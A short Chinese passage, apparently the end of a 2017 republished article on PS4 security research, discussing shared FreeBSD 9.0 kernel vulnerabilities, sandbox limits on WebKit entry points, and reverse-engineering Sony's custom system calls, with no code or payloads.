如此看来,我们倾向于相信PS4与FreeBSD 9.0的内核具有很多相同的漏洞。但是由于沙盒的存在(可能只是标准的 FreeBSD jail),大多数内核漏洞无法把WebKit作为攻击口。而FreeBSD 10出来之后,任何人都不可能在FreeBSD 9中隐藏任何私有漏洞,所以除非有一个新的漏洞被突然发现,否则我们就只能使用已有的那些漏洞。
目前来看,寻找漏洞的最好办法就是对可转储的模块进行逆向工程分析,以便尽可能多地发现索尼的自定义系统调用。
原文发布时间为:2017年3月28日
本文作者:xiaohui
本文来自合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。